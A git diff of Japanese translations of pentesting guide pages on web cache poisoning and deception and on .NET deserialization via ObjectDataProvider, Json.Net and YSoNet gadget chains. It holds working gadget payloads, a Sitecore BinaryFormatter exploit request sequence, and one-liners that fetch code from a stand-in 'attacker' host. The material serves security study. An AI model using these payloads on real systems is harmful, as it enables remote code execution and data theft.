This writes arbitrary HTML under an attackerchosen cache key, enabling precise poisoning once cache keys are known. これは攻撃者が選んだキャッシュキーの下に任意のHTMLを書き込み、cache keysが判明した後に精密なポイズニングを可能にします。
For full details (cache key construction, ItemService enumeration and a chained postauth deserialization RCE): 詳細cache key construction、ItemService enumeration、および連鎖したpostauth deserialization RCEについては
{{#ref}} {{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md ../../network-services-pentesting/pentesting-web/sitecore/README.md
@ -223,35 +224,35 @@ For full details (cache key construction, ItemService enumeration and a chained
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS は URL 内の fragment を削除せずに転送し、cache key を host, path, query のみで生成していましたfragment を無視)。そのためリクエスト `/#/../?r=javascript:alert(1)` はバックエンドに `/#/../?r=javascript:alert(1)` として送信されましたが、cache key には payload が含まれず、host, path, query のみが使用されました。 ATSはURL内のフラグメントを削除せずに転送し、cache keyをhost、path、queryのみを使って生成していましたフラグメントは無視。したがってリクエスト `/#/../?r=javascript:alert(1)` はバックエンドにそのまま `/#/../?r=javascript:alert(1)` として送られ、cache keyにはペイロードが含まれず、host、path、queryのみが含まれました。
### GitHub CP-DoS ### GitHub CP-DoS
content-type header に悪い値を送ると 405 の cached response が発生しました。cache key に cookie が含まれていたため、攻撃は未認証ユーザに限定されました。 content-typeヘッダに不正な値を送ると405のキャッシュされたレスポンスが発生しました。cache keyにcookieが含まれていたため、攻撃できたのは未認証ユーザのみでした。
### GitLab + GCP CP-DoS ### GitLab + GCP CP-DoS
GitLab は静的コンテンツの保存に GCP buckets を使っています。**GCP Buckets** は **header `x-http-method-override`** をサポートしているため、`x-http-method-override: HEAD` を送って cache を空のレスポンスボディに poison することが可能でした。`PURGE` メソッドもサポートされていました。 GitLabは静的コンテンツを保存するためにGCP bucketsを使用しています。GCP Bucketsはheader `x-http-method-override` をサポートしているため、`x-http-method-override: HEAD` ヘッダを送信してキャッシュを汚染し、空のレスポンスボディを返させることが可能でした。`PURGE` メソッドにも対応していました。
### Rack Middleware (Ruby on Rails) ### Rack Middleware (Ruby on Rails)
Ruby on Rails アプリケーションでは Rack middleware がよく使われます。Rack コードは **`x-forwarded-scheme`** ヘッダの値を取得してリクエストの scheme に設定します。`x-forwarded-scheme: http` を送ると同じ場所へ 301 リダイレクトが発生し、そのリソースに対する Denial of Service (DoS) を引き起こす可能性があります。さらに、アプリケーションが `X-forwarded-host` ヘッダを認識して指定されたホストへリダイレクトする場合、攻撃者のサーバから JavaScript ファイルを読み込ませることができ、セキュリティリスクとなります。 Ruby on RailsアプリケーションではRack middlewareがよく利用されます。Rackのコードは`x-forwarded-scheme`ヘッダの値を取得してリクエストのschemeに設定する目的があります。`x-forwarded-scheme: http` を送ると同じ場所への301リダイレクトが発生し、そのリソースに対してDoSを引き起こす可能性があります。さらに、アプリケーションが`X-forwarded-host`ヘッダを尊重して指定されたホストへリダイレクトする場合があります。この挙動は攻撃者のサーバからJavaScriptファイルを読み込ませることにつながり、セキュリティリスクとなります。
### 403 Storage Buckets ### 403 and Storage Buckets
Cloudflare は以前 403 レスポンスをキャッシュしていました。S3 や Azure Storage Blobs に対して誤った Authorization ヘッダでアクセスを試みると 403 レスポンスが返り、それがキャッシュされました。Cloudflare は現在 403 レスポンスのキャッシュを停止していますが、他のプロキシサービスでは同様の挙動が残っている場合があります。 Cloudflareは以前403レスポンスをキャッシュしていました。S3やAzure Storage Blobsへ不正なAuthorizationヘッダでアクセスを試みると403レスポンスが返り、それがキャッシュされました。Cloudflareは403のキャッシュをやめましたが、この挙動は他のプロキシサービスでは今も残っている可能性があります。
### Injecting Keyed Parameters ### Injecting Keyed Parameters
キャッシュはしばしば特定の GET パラメータを cache key に含めます。例えば Fastly の Varnish はリクエストの `size` パラメータをキャッシュしました。しかし、パーセントエンコードされた同じパラメータ(例: `siz%65`を誤った値で送ると、cache key は正しい `size` パラメータを使って構築される一方で、バックエンドは URL エンコードされたパラメータの値を処理します。2つ目の `size` パラメータを URL エンコードすると cache からは無視されるがバックエンドで使われるようになり、このパラメータに 0 を割り当てるとキャッシュ可能な 400 Bad Request エラーが発生しました。 キャッシュはしばしばキャッシュキーに特定のGETパラメータを含みます。例えばFastlyのVarnishはリクエストの`size`パラメータをキャッシュしていました。しかし、そのパラメータのURLエンコード版例: `siz%65`が誤った値で送られた場合、cache keyは正しい`size`パラメータを使って構成されます。とはいえバックエンドはURLエンコードされたパラメータの値を処理します。2つ目の`size`パラメータをURLエンコードすると、キャッシュからは省略されるがバックエンドでは利用される、という状況が発生しました。このパラメータに0を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。
### User Agent Rules ### User Agent Rules
一部の開発者は FFUF や Nuclei のような高トラフィックツールに似た user-agent をブロックしてサーバ負荷を抑えようとします。皮肉なことに、このアプローチは cache poisoning や DoS といった脆弱性を招くことがあります。 一部の開発者はFFUFやNucleiのような高トラフィックツールのUser-Agentと一致するリクエストをサーバ負荷管理のためにブロックします。皮肉なことに、この手法はcache poisoningやDoSといった脆弱性を生む可能性があります。
### Illegal Header Fields ### Illegal Header Fields
[https://datatracker.ietf.mrg/doc/html/rfc7230](https://datatracker.ietf.mrg/doc/html/rfc7230) はヘッダ名で許容される文字を定めています。指定の **tchar** 範囲外の文字を含むヘッダは本来 400 Bad Request を返すべきですが、実際のサーバは常にこの標準に従うわけではありません。顕著な例として Akamai があり、無効な文字を含むヘッダを転送し、`cache-control` ヘッダが存在しない限り 400 エラーをキャッシュしてしまいます。例えば `\` のような不正文字を含むヘッダを送るとキャッシュ可能な 400 Bad Request エラーになるというパターンが確認されました。 [https://datatracker.ietf.mrg/doc/html/rfc7230](https://datatracker.ietf.mrg/doc/html/rfc7230) はヘッダ名で許容される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダは本来400 Bad Requestを引き起こすべきです。実際にはサーバがこの標準に従わない場合があります。顕著な例としてAkamaiは無効な文字を含むヘッダを転送し、`cache-control`ヘッダが存在しない限り400エラーをキャッシュします。例えば `\` のような不正文字を含むヘッダを送るとキャッシュ可能な400 Bad Requestエラーになるという悪用可能なパターンが確認されました。
### Finding new headers ### Finding new headers
@ -259,32 +260,32 @@ Cloudflare は以前 403 レスポンスをキャッシュしていました。S
## Cache Deception ## Cache Deception
The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**. Cache Deceptionの目的は、クライアントに**キャッシュに保存されるリソース(およびそれに含まれる機密情報)を読み込ませる**ことです。
まず、`.css`, `.js`, `.png` 等の拡張子は通常キャッシュに保存されるよう**設定**されていることが多い点に注意してください。したがって `www.example.com/profile.php/nonexistent.js` にアクセスすると、拡張子が `.js` と見なされるためレスポンスがキャッシュされる可能性があります。しかし、もしアプリケーションが _www.example.com/profile.php_ の中に保存された**機密**ユーザ内容を返している場合、他のユーザの機密情報を **盗む** ことが可能になります。 まず、`.css``.js``.png`などの拡張子は通常cacheに保存するように設定されています。したがって`www.example.com/profile.php/nonexistent.js`にアクセスすると、`.js`拡張子を認識してレスポンスがcacheに保存される可能性が高いです。しかし、アプリケーションが_www.example.com/profile.php_に保存された機密ユーザ内容をそのまま返している場合、他のユーザのその内容を盗むことができます。
他にすべきもの: 他にテストすべきもの:
- _www.example.com/profile.php/.js_ - _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_ - _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_ - _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_ - _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_ - _www.example.com/profile.php/%2e%2e/test.js_
- _Use lesser known extensions such as_ `.avif` - _あまり使われない拡張子(例)_ `.avif`
より明確な例はこのレポートにあります: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
その例では、_http://www.example.com/home.php/non-existent.css_ のような存在しないページを読み込むと、_http://www.example.com/home.php_**ユーザの機密情報を含む**)の内容が返され、キャッシュサーバがその結果を保存することが説明されています。\ In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
その後、**attacker** は自分のブラウザで _http://www.example.com/home.php/non-existent.css_ にアクセスし、以前にアクセスしたユーザの **機密情報** を観察することができます。 Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.
cache proxy がファイルの拡張子_.css_に基づいてファイルを **cache** するように **設定**されており、content-type ではなく拡張子で判断している必要がある点に注意してください。例では _http://www.example.com/home.php/non-existent.css_ の content-type は `text/html` であり `text/css` ではありません。 注意点として、**cache proxy**はファイルの**extension**_.css_に基づいてファイルを**cache**するように**configured**されている必要があり、content-typeではなくextensionで判断されるべきです。例では _http://www.example.com/home.php/non-existent.css_`text/html` のcontent-typeを持ち、`text/css` ではありません。
HTTP Request Smuggling を利用して Cache Deceptions を実行する方法については次を参照してください: [ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). HTTP Request Smugglingを悪用したCache Deceptions攻撃を実行する方法はここで学べます: [ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## 自動ツール ## 自動ツール
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang スキャナ。URL リストから web cache poisoning の脆弱性を発見し、複数の注入手法をテストします。 - [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
## 参考 ## References
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning) - [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities) - [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)

View File

@ -2,37 +2,37 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
この投稿は、gadget ObjectDataProvider がどのように悪用されて RCE を取得するか、そして Serialization ライブラリ Json.Net と xmlSerializer がその gadget とともにどのように悪用できるかを理解することに捧げられています。 この投稿は、**ObjectDataProvider ガジェットがどのように悪用されて RCE を得るか**、およびそのガジェットとともにシリアライゼーションライブラリ **Json.Net と xmlSerializer がどのように悪用され得るか** を理解することに捧げられています。
## ObjectDataProvider Gadget ## ObjectDataProvider Gadget
ドキュメントによると_the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\ ドキュメントによると: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
うーん、説明は分かりにくいので、このクラスの何がそんなに興味深いのか見ていきましょう:このクラスは任意のオブジェクトを**ラップ**し、_**MethodParameters**_ を使って**任意のパラメータを設定**し、そして _**MethodName**_ を使って、その任意のオブジェクトの任意の関数をそのパラメータで**呼び出す**ことを可能にします。\ 説明はちょっと曖昧なので、このクラスの何が興味深いのか見てみましょう: このクラスは **任意のオブジェクトをラップし**、_**MethodParameters**_ を使って **任意のパラメータを設定し**、その後 **MethodName を使ってその任意のオブジェクトの任意の関数を任意のパラメータで呼び出す** ことを可能にします。\
つまり、任意の **オブジェクト** はデシリアライズ中に**パラメータ付きで関数を実行する**ことになります。 つまり、任意の **object** は**復号化deserializedされる際に**、**パラメータ付きの関数を実行する**ことになります。
### **How is this possible** ### **How is this possible**
**System.Windows.Data** 名前空間は`C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` にある **PresentationFramework.dll** 内にあり、ObjectDataProvider が定義および実装されている場所です。 **System.Windows.Data** 名前空間は `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` にある **PresentationFramework.dll** 内に定義・実装されており、そこに ObjectDataProvider が存在します。
[**dnSpy**](https://github.com/0xd4d/dnSpy) を使えば、興味のあるクラスの **コードを調査**できます。下の画像では **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** のコードをています。 [**dnSpy**](https://github.com/0xd4d/dnSpy) を使えば、対象クラスの **コードを調査** できます。下の画像は **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** のコードを示しています。
![](<../../images/image (427).png>) ![](<../../images/image (427).png>)
ご覧の通り、`MethodName` が設定されると `base.Refresh()` が呼ばれます。ではこれが何をするのか見てみましょう: ご覧のとおり `MethodName` が設定されると `base.Refresh()` が呼ばれます。ではそれが何をするか見てみましょう:
![](<../../images/image (319).png>) ![](<../../images/image (319).png>)
次に `this.BeginQuery()` が何をするか見ていきます。`BeginQuery``ObjectDataProvider` によってオーバーライドされており、以下のようになっています: 次に `this.BeginQuery()` が何をするか見ていきます。`BeginQuery``ObjectDataProvider` によってオーバーライドされており、以下のようになっています:
![](<../../images/image (345).png>) ![](<../../images/image (345).png>)
コードの最後で `this.QueryWorke(null)` を呼んでいることに注意してください。これが何を実行するか見てみましょう: コードの最後で `this.QueryWorke(null)` を呼んでいることに注意してください。これが何を実行するか見てみましょう:
![](<../../images/image (596).png>) ![](<../../images/image (596).png>)
これは `QueryWorker` 関数の完全なコードではありませんが、興味深い部分を示しています:コードは **`this.InvokeMethodOnInstance(out ex);` を呼び出しており、ここが**メソッドが実行される**行です。** これは `QueryWorker` 関数の完全なコードではありませんが、興味深い部分を示しています: コードは **`this.InvokeMethodOnInstance(out ex);` を呼んでいる** — ここが **設定されたメソッドが実行される** 行です。
もし単に _**MethodName**_ を設定するだけでそれが実行されることを確認したいなら、以下のコードを実行できます: 単に _**MethodName**_ を設定するだけで **それが実行される** ことを確認したければ、次のコードを実行できます:
```java ```java
using System.Windows.Data; using System.Windows.Data;
using System.Diagnostics; using System.Diagnostics;
@ -56,10 +56,10 @@ Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.
## ExpandedWrapper ## ExpandedWrapper
前述のエクスプロイトを使用すると、**オブジェクト**が _**ObjectDataProvider**_ インスタンスとして**デシリアライズされる**場合があります(例えば DotNetNuke vuln では、XmlSerializer を使用してオブジェクトが `GetType` によりデシリアライズされました。その場合、_ObjectDataProvider_ インスタンス内にラップされているオブジェクトの型(例えば `Process`)について**情報を持たない**ことになります。You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
このクラスは、特定のインスタンス内にカプセル化されているオブジェクトの型を**指定する**ことを可能にします。したがって、このクラスはソースオブジェクト_ObjectDataProvider_を新しいオブジェクト型にカプセル化し、必要なプロパティ_ObjectDataProvider.MethodName_ と _ObjectDataProvider.MethodParameters_)を提供するために使用できます。\ このクラスは、あるインスタンスにカプセル化されているオブジェクトの型を**指定することを可能にします**。したがって、このクラスはソースオブジェクト_ObjectDataProvider_を新しいオブジェクト型にカプセル化し、必要なプロパティ_ObjectDataProvider.MethodName_ と _ObjectDataProvider.MethodParameters_)を提供するために使用できます。\
これは前述のケースで非常に有用です。なぜなら、_ObjectDataProvider_ を _ExpandedWrapper_ インスタンス内にラップでき、デシリアライズ時にこのクラスが _**OjectDataProvider**_ オブジェクトを生成して、_**MethodName**_ で指定された関数を実行するからです。 これは前述のようなケースで非常に有用です。なぜなら、_ObjectDataProvider_ を **_ExpandedWrapper_ インスタンス内にラップ** でき、**デシリアライズされたときに** このクラスが _ObjectDataProvider_ オブジェクトを**生成し**、_**MethodName**_ に示された**関数を実行する**からです。
You can check this wrapper with the following code: You can check this wrapper with the following code:
```java ```java
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
``` ```
## Json.Net ## Json.Net
In the [official web page](https://www.newtonsoft.com/json) には、このライブラリが**Json.NETの強力なJSONシリアライザで任意の.NETオブジェクトをシリアライズおよびデシリアライズする**ことを可能にすると記載されています。したがって、もし**ObjectDataProvider gadgetをデシリアライズ**できれば、オブジェクトをデシリアライズするだけで**RCE**を引き起こすことができます。 In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. したがって、もし **deserialize the ObjectDataProvider gadget** が可能であれば、オブジェクトをデシリアライズするだけで **RCE** を引き起こすことができます。
### Json.Net の例 ### Json.Net の例
まず、このライブラリを使ってオブジェクトを**シリアライズ/デシリアライズ**する方法の例を見てみましょう: まず、このライブラリを使ってオブジェクトを**serialize/deserialize**する方法の例を見てみましょう:
```java ```java
using System; using System;
using Newtonsoft.Json; using Newtonsoft.Json;
@ -134,7 +134,7 @@ Console.WriteLine(desaccount.Email);
``` ```
### Json.Netの悪用 ### Json.Netの悪用
[ysoserial.net](https://github.com/pwntester/ysoserial.net) を使用してエクスプロイトを作成しました: [ysoserial.net](https://github.com/pwntester/ysoserial.net) を使用して、exploitを作成しました:
```java ```java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{ {
@ -147,7 +147,7 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
} }
``` ```
このコードでは **test the exploit** を実行して試すことができます。実行すると calc が起動するのが確認できます: このコードでは**test the exploit**ができます。実行すると calc が実行されるのを確認できます:
```java ```java
using System; using System;
using System.Text; using System.Text;
@ -184,23 +184,23 @@ TypeNameHandling = TypeNameHandling.Auto
} }
} }
``` ```
## 高度な .NET ガジェットチェーン (YSoNet & ysoserial.net) ## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
上で紹介した ObjectDataProvider + ExpandedWrapper テクニックは、アプリケーションが **unsafe .NET deserialization** を行う際に悪用可能な多数のガジェットチェーンのうちの一つに過ぎません。Modern red-team tooling である **[YSoNet](https://github.com/irsdl/ysonet)**および旧来の [ysoserial.net](https://github.com/pwntester/ysoserial.net))は、数十種類のガジェットとシリアライザ形式向けに、使える形の悪意あるオブジェクトグラフを自動生成します。 上で紹介した ObjectDataProvider + ExpandedWrapper 技術は、アプリケーションが **unsafe .NET deserialization** を行う場合に悪用され得る多数の gadget chain のうちの一つに過ぎません。Modern red-team ツールである **[YSoNet](https://github.com/irsdl/ysonet)**(旧来の [ysoserial.net](https://github.com/pwntester/ysoserial.net) を含む)は、何十種類もの gadgets やシリアライゼーション形式向けに、すぐに使える悪意あるオブジェクトグラフを自動生成します。
以下は *YSoNet* に同梱されている最も有用なチェーンを簡潔にまとめたリファレンスで、動作概要とペイロード生成コマンド例を示します。 Below is a condensed reference of the most useful chains shipped with *YSoNet* together with a quick explanation of how they work and example commands to generate the payloads.
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner | | Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------| |--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | `DelegateSerializationHolder` レコードを破損させ、実体化されたときにデリゲートが攻撃者指定の*任意の*メソッド(例: `Process.Start`)を指すようにする | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | | **TypeConfuseDelegate** | `DelegateSerializationHolder` レコードを破損させ、マテリアライズ後にデリゲートが攻撃者指定の任意のメソッド(例: `Process.Start`)を指すようにする | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` を悪用して *bypass .NET ≥4.8 type-filtering* し、指定クラスの**コンストラクタ**を直接呼び出すか、C# ファイルを即座に**コンパイル**する | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | | **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` を悪用して **.NET ≥4.8 の type-filtering をバイパス** し、指定したクラスの **constructor** を直接呼び出すか、C# ファイルをその場で **compile** する | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | `System.Data.DataSet` の**レガシー XML** 表現を利用し、`<ColumnMapping>` / `<DataType>` フィールドを埋めることで任意型をインスタンス化(必要に応じて `--spoofedAssembly` でアセンブリを偽装) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` | | **DataSetOldBehaviour** | `System.Data.DataSet` **レガシー XML** 表現を利用し、`<ColumnMapping>` / `<DataType>` フィールドを埋めることで任意型をインスタンス化する`--spoofedAssembly` でアセンブリを偽装可能 | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | WPF 対応ランタイム(> .NET 5上でプロパティの getter を連鎖させ `System.CodeDom.Compiler.CompilerResults` に到達し、`-c` で与えた DLL を*コンパイル*または*ロード*する | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | | **GetterCompilerResults** | WPF 対応ランタイム(> .NET 5でプロパティゲッターを連鎖させ `System.CodeDom.Compiler.CompilerResults` に到達し、`-c` で指定した DLL を *compile* または *load* する | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | WPF の `System.Windows.Data.ObjectDataProvider` を使い、制御された引数で任意の static メソッドを呼び出す。YSoNet は悪意ある XAML をリモートホストするための便利な `--xamlurl` 変種を追加している | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | | **ObjectDataProvider** (review) | WPF の `System.Windows.Data.ObjectDataProvider` を使って、制御可能な引数で任意の static メソッドを呼び出す。YSoNet は悪意ある XAML をリモートホストする便利な `--xamlurl` 変種を追加している | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | `ScriptBlock``System.Management.Automation.PSObject` に埋め込み、PowerShell がオブジェクトをデシリアライズするときに実行させる | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | | **PSObject (CVE-2017-8565)** | `ScriptBlock``System.Management.Automation.PSObject` に埋め込み、PowerShell がオブジェクトを deserialize した際に実行される | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP] > [!TIP]
> すべてのペイロードはデフォルトで **written to *stdout*** に出力されるため、ViewState ジェネレータ、base64 エンコーダ、HTTP クライアント等の他ツールへのパイプが簡単に行えます。 > すべてのペイロードはデフォルトで **stdout に書き出されます**。そのため ViewState generators、base64 encoders、HTTP clients などの他ツールにパイプで渡すのが簡単です。
### Building / Installing YSoNet ### Building / Installing YSoNet
@ -219,19 +219,19 @@ msbuild ysonet.sln -p:Configuration=Release
The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`. The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
### 検出とハードニング ### 検出とハードニング
* **検出**: `w3wp.exe``PowerShell.exe`、またはユーザ提供データをデシリアライズする任意のプロセス(例: `MessagePack`, `Json.NET`)の予期しない子プロセスを監視する。 * **検出** `w3wp.exe``PowerShell.exe`、またはユーザ提供データをデシリアライズする任意のプロセス(例`MessagePack``Json.NET`)の想定外の子プロセスを検知する。
* レガシーの `BinaryFormatter` / `NetDataContractSerializer` を除できない場合は、`TypeFilterLevel` = *Full*、カスタム `SurrogateSelector``SerializationBinder` 等を用いて **type-filtering** を有効化し強制する。 * レガシーの `BinaryFormatter` / `NetDataContractSerializer`除できない場合は、`TypeFilterLevel` = *Full*、カスタム `SurrogateSelector``SerializationBinder` 等を使用して **型フィルタリングを有効化および強制** する。
* 可能な限り、ホワイトリストベースのコンバーターを用い**`System.Text.Json`** または **`DataContractJsonSerializer`** に移行する。 * 可能であれば、ホワイトリストベースのコンバーターを使っ**`System.Text.Json`** または **`DataContractJsonSerializer`** に移行する。
* Web プロセスで不要な場合は、`PresentationFramework``System.Workflow.*` などの危険な WPF アセンブリが読み込まれないようブロックする。 * 決して必要としない web プロセスで `PresentationFramework``System.Workflow.*` といった危険な WPF アセンブリがロードされないようブロックする。
## Realworld sink: Sitecore convertToRuntimeHtml → BinaryFormatter ## 実際の sink: Sitecore convertToRuntimeHtml → BinaryFormatter
認証済みの Sitecore XP Content Editor フロー到達可能な実用的な .NET sink: 認証済みの Sitecore XP Content Editor フローから到達可能な実用的な .NET sink:
- Sink API: `Sitecore.Convert.Base64ToObject(string)``new BinaryFormatter().Deserialize(...)` をラップしている。 - Sink API: `Sitecore.Convert.Base64ToObject(string)``new BinaryFormatter().Deserialize(...)` をラップしている。
- トリガーパス: パイプライン `convertToRuntimeHtml``ConvertWebControls` は、`id="{iframeId}_inner"` を持つ兄弟要素を検索し、その `value` 属性を base64 エンコードされたシリアライズ済みデータとして読み取る。結果は文字列にキャストされ、HTML に挿入される。 - トリガー経路: パイプライン `convertToRuntimeHtml``ConvertWebControls` は、`id="{iframeId}_inner"` を持つ兄弟要素を検索し、base64 エンコードされたシリアライズ済みデータとして扱われる `value` 属性を読み取る。結果は string にキャストされて HTML に挿入される。
最小限のエンドツーエンド(認証済み): Minimal endtoend (authenticated):
``` ```
// Load HTML into EditHtml session // Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
@ -246,15 +246,15 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization // Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=... GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
``` ```
- Gadget: デシリアライズ中に副作用が実行される、string を返す任意の BinaryFormatter チェーン。payloads を生成するには YSoNet/ysoserial.net を参照してください - Gadget: 任意の BinaryFormatter チェーンで string を返すデシリアライズ中に副作用が実行される。YSoNet/ysoserial.net を参照して payloads を生成する
For a full chain that starts preauth with HTML cache poisoning in Sitecore and leads to this sink: Sitecore における HTML cache poisoning による preauth から始まり、この sink に至る完全なチェーンについては次を参照:
{{#ref}} {{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md ../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}} {{#endref}}
## 参考資料 ## 参考
- [YSoNet .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet) - [YSoNet .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net original PoC tool](https://github.com/pwntester/ysoserial.net) - [ysoserial.net original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565) - [Microsoft CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## ファイルアップロード 一般的な方法論 ## File Upload General Methodology
その他の有用な拡張子: その他の有用な拡張子:
@ -15,13 +15,13 @@
- **Perl**: _.pl, .cgi_ - **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_ - **Erlang Yaws Web Server**: _.yaws_
### ファイル拡張子チェックのバイパス ### Bypass file extensions checks
1. 該当する場合、前述の拡張子を**確認**してください。また大文字を使ってテストしてください:_pHp, .pHP5, .PhAr ..._ 1. 適用される場合、**前述の拡張子を確認**してください。大文字小文字を混ぜてテストすることも有効です: _pHp, .pHP5, .PhAr ..._
